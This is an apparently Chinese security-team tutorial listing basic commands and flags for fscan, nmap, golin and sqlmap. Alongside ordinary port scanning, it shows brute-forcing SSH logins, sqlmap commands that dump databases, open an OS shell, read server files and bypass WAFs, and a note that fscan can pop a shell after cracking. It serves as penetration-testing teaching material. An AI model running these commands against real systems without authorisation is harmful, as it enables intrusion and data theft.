fscan，nmap，golin，sqlmap工具基础使用
L×K@y
L×K@y
Quest安全团队
2026年6月10日 02:40
北京
在小说阅读器读本章
去阅读
一、Fscan
常用姿势
# 扫一个C段，全自动fscan -h 192.168.1.0/24
# 不爆密码（怕把业务爆挂）fscan -h 192.168.1.0/24 -nobr
# 不打漏洞（只做资产发现）fscan -h 192.168.1.0/24 -nopoc
# 只扫SSH，用自己的字典fscan -h 10.0.0.1 -m ssh -userf users.txt -pwdf pwd.txt参数速查
| 参数 | 啥意思 |
|---|---|
-h |
目标IP/C段，比如 1.1.1.1/24 |
-hf |
从文件读目标列表 |
-p |
指定端口，默认是Top100 |
-nobr |
不爆破密码 |
-nopoc |
不打漏洞 |
-m |
指定模块，比如 ssh、redis、smb |
-userf / -pwdf |
用户名/密码字典 |
-c |
爆破成功后执行的命令（比如弹shell） |
二、Nmap
比fscan慢
常用姿势
# 快速扫端口nmap -sS 192.168.1.1
# 只扫存活主机（不扫端口）nmap -sn 192.168.1.0/24
# 扫全部65535个端口nmap -p- 192.168.1.1
# 扫特定端口 + 版本识别nmap -p 22,80,443 -sV -O 192.168.1.1
# 全量探测（版本+系统+脚本）nmap -A 192.168.1.1
参数速查
| 参数 | 啥意思 |
|---|---|
-sS |
半开扫描，默认，快，但要root |
-sT |
全连接扫描，不用root |
-sn |
Ping一下，看哪些主机活着 |
-sV |
识别服务版本（比如Apache 2.4） |
-O |
猜操作系统 |
-A |
强力模式，上面几个都开了 |
-p- |
扫全部65535个端口 |
-T4 |
速度调快（0-5，越大越快） |
-iL |
从文件读目标列表 |
三、Golin
这玩意设计初衷是等保检查，不是用来打渗透的。但在攻防场景下，它的弱口令爆破也挺好用。
常用姿势
# Windows本地等保检查golin.exe windows
# 远程SSH检查Linuxgolin linux -i 192.168.1.1 -u root -p 123456
# 端口扫描模式golin port -i 192.168.1.0/24
# 扫单个Web站点golin port -i http://test.com:8080
# 启动Web界面看报告golin web
参数速查
| 参数 | 啥意思 |
|---|---|
-i |
目标IP或URL |
-c |
并发数，默认100 |
--noping |
跳过主机存活检测 |
--nocrack |
不爆破密码 |
--nopoc |
不打漏洞 |
四、Sqlmap
打SQL注入最经典的工具
常用姿势
# 检测是否存在注入sqlmap -u \"http://test.com/news?id=1\"
# 拿数据库列表sqlmap -u \"http://test.com/news?id=1\" --dbs
# 拿表sqlmap -u \"http://test.com/news?id=1\" -D 数据库名 --tables
# 拿数据sqlmap -u \"http://test.com/news?id=1\" -D 数据库名 -T 表名 --dump
# POST请求注入sqlmap -u \"http://test.com/login\" --data=\"user=admin&pass=123\"
# 带Cookie注入sqlmap -u \"http://test.com/user?id=1\" --cookie=\"PHPSESSID=abc123\"
# 写Shell（需高权限）sqlmap -u \"http://test.com/news?id=1\" --os-shell
参数速查
| 参数 | 啥意思 |
|---|---|
-u |
目标URL |
-r |
加载HTTP请求文件（抓包导出的） |
--data |
POST参数 |
--cookie |
带Cookie |
--level |
检测深度（1-5，一般3就够） |
--risk |
风险等级（1-3，3可能改数据） |
--dbs / --tables / --dump |
拿库、拿表、拿数据 |
--os-shell |
拿系统Shell |
--file-read |
读服务器文件 |
--tamper |
用脚本绕过WAF，比如 --tamper=space2comment |
--batch |
一路Yes，不用手动确认 |
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论